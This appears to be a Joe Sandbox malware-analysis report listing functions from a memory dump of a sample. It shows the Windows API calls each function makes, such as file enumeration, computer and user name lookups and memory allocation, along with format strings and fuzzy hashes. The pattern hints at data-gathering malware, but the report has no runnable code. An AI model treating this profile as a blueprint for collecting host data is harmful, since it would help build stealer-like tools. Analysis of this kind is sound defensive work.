Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: fbc1f5fcccec411eb18e8bb971484f1f022e64e50883ef4275dc8ddf47cc28df
Instruction ID: 02766aba5dd105d691c90d0c430a378a89bf586c53a94ae9494647160b7e696b
Opcode Fuzzy Hash: fbc1f5fcccec411eb18e8bb971484f1f022e64e50883ef4275dc8ddf47cc28df
Instruction Fuzzy Hash: 8A41ED74A00209EFDB45CF58C494BADBBB2FF48314F148299E9599B385D732EA91CF84

Function 01015050 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 01018DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 01018E0B

lstrcat.KERNEL32(?,00000000), ref: 0101508A
lstrcat.KERNEL32(?,0186DD98), ref: 010150A8

Part of subcall function 01014910: wsprintfA.USER32 ref: 0101492C
Part of subcall function 01014910: FindFirstFileA.KERNEL32(?,?), ref: 01014943

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: bbeb306d9305ad4343646a1569fd4c5753cc54e468af52491f781fdae543d636
Instruction ID: 542c07d2e1977e3e3eefc03e31c8568a183f10274a12623957a8272e0035cdb6
Opcode Fuzzy Hash: bbeb306d9305ad4343646a1569fd4c5753cc54e468af52491f781fdae543d636
Instruction Fuzzy Hash: A1019B7A94020997D764FBB0EC45DDD733CAB24700F404549B6CA57184EE759B898B91

Function 010010A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 010010B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 010010F7

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 98801fbb23e47293fd8b923853a34f13eb9b81907d87740e47513c3bad0870bf
Instruction ID: 5c96b6e6e571e3fe4821ae4bab897c2962a37e5bbbfb881e9e6628720045d020
Opcode Fuzzy Hash: 98801fbb23e47293fd8b923853a34f13eb9b81907d87740e47513c3bad0870bf
Instruction Fuzzy Hash: C2F0E271681208BBF724DAA8AC49FAEB7E8E705B15F300448F685E7280D5719F00CBA0

Function 01018D90 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,01001B54,?,?,0102564C,?,?,01020E1F), ref: 01018D9F

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 13614fa77a24fd59f911f1f3f233ac26a74f134047cb593b22402a2b52c08895
Instruction ID: 9aa5508520df6e742c2400e357b3242208a53d20fdd2336b6c9c33ec9a2560ed
Opcode Fuzzy Hash: 13614fa77a24fd59f911f1f3f233ac26a74f134047cb593b22402a2b52c08895
Instruction Fuzzy Hash: E5F01570D00208EBDB14EFA8D5486DCBB74EB11320F40819AD8A66B284DB396B4ACB80

Function 01018DE0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 01018E0B

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: c7ea268354063bd5afef735b7c4c4d3383edfa431387d835bb03c3d5780f2bcc
Instruction ID: e74f00acd0e95371e2c8477158d86a84eb05f36db2ea91fafa9b445e77de3120
Opcode Fuzzy Hash: c7ea268354063bd5afef735b7c4c4d3383edfa431387d835bb03c3d5780f2bcc
Instruction Fuzzy Hash: 3CE09A31A4034CABEB91EB90CC96FEE337CEB04B00F004285BA0C5B1C0DA70AB858B90

Function 01001190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 010178E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 01017910
Part of subcall function 010178E0: RtlAllocateHeap.NTDLL(00000000), ref: 01017917
Part of subcall function 010178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0101792F

Part of subcall function 01017850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,010011B7), ref: 01017880
Part of subcall function 01017850: RtlAllocateHeap.NTDLL(00000000), ref: 01017887
Part of subcall function 01017850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0101789F

ExitProcess.KERNEL32 ref: 010011C6

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: caffcafe89c403ed20d3a5dc8f7bb6bb0a0ab7afa12dfffee24ca1d6aa240d23
Instruction ID: 619defe7dd262cb30b550764b9518d2ab2a7f69d4d4f5212bbb4f0d7c03796fb
Opcode Fuzzy Hash: caffcafe89c403ed20d3a5dc8f7bb6bb0a0ab7afa12dfffee24ca1d6aa240d23
Instruction Fuzzy Hash: 53E012BADD030257EA2573B4BC09BAA329C6B14245F040424ED4AD314AFA29E50187E5

Non-executed Functions

Function 010138B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 010138CC
FindFirstFileA.KERNEL32(?,?), ref: 010138E3
lstrcat.KERNEL32(?,?), ref: 01013935
StrCmpCA.SHLWAPI(?,01020F70), ref: 01013947
StrCmpCA.SHLWAPI(?,01020F74), ref: 0101395D
FindNextFileA.KERNEL32(000000FF,?), ref: 01013C67
FindClose.KERNEL32(000000FF), ref: 01013C7C

Strings

%s\%s, xrefs: 01013A6F
%s\%s\%s, xrefs: 01013A4A
%s\%s, xrefs: 0101397A
%s\*, xrefs: 010138C0
%s%s, xrefs: 01013AAD

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: c74609662c3c270abe370df8724b27a53b9fc4b112f854f47b637d58fc50d606
Instruction ID: 7a8de3eebd6ab357f5e8a8275d9be078786f83730fbb613c01d512d0f467d42d
Opcode Fuzzy Hash: c74609662c3c270abe370df8724b27a53b9fc4b112f854f47b637d58fc50d606
Instruction Fuzzy Hash: 54A182B5A402199BDB34DFA4DC88FEE7378BB58300F044588E64E9B148EB759B84CF61

Function 01014570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 01014580
RtlAllocateHeap.NTDLL(00000000), ref: 01014587
wsprintfA.USER32 ref: 010145A6
FindFirstFileA.KERNEL32(?,?), ref: 010145BD
StrCmpCA.SHLWAPI(?,01020FC4), ref: 010145EB
StrCmpCA.SHLWAPI(?,01020FC8), ref: 01014601
FindNextFileA.KERNEL32(000000FF,?), ref: 0101468B
FindClose.KERNEL32(000000FF), ref: 010146A0
lstrcat.KERNEL32(?,0186E788), ref: 010146C5
lstrcat.KERNEL32(?,0186DA08), ref: 010146D8
lstrlen.KERNEL32(?), ref: 010146E5
lstrlen.KERNEL32(?), ref: 010146F6

Strings

%s\*, xrefs: 0101459A
%s\%s, xrefs: 0101461B

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: c30afa298bcbe97622dceaf3b22156202c175dce49635294e84e473c68c0bd97
Instruction ID: 32f342dd1b9ad183bc1108be727bdb32aac825b41747e6068d59b67589f91e2f
Opcode Fuzzy Hash: c30afa298bcbe97622dceaf3b22156202c175dce49635294e84e473c68c0bd97
Instruction Fuzzy Hash: 5A5166B69402189BD774EB70DC8CFED737CAB58300F404589F64A97188EB7497858F91

Function 0100ED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0100ED3E
FindFirstFileA.KERNEL32(?,?), ref: 0100ED55
StrCmpCA.SHLWAPI(?,01021538), ref: 0100EDAB
StrCmpCA.SHLWAPI(?,0102153C), ref: 0100EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 0100F2AE
FindClose.KERNEL32(000000FF), ref: 0100F2C3

Strings

%s\*.*, xrefs: 0100ED32

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
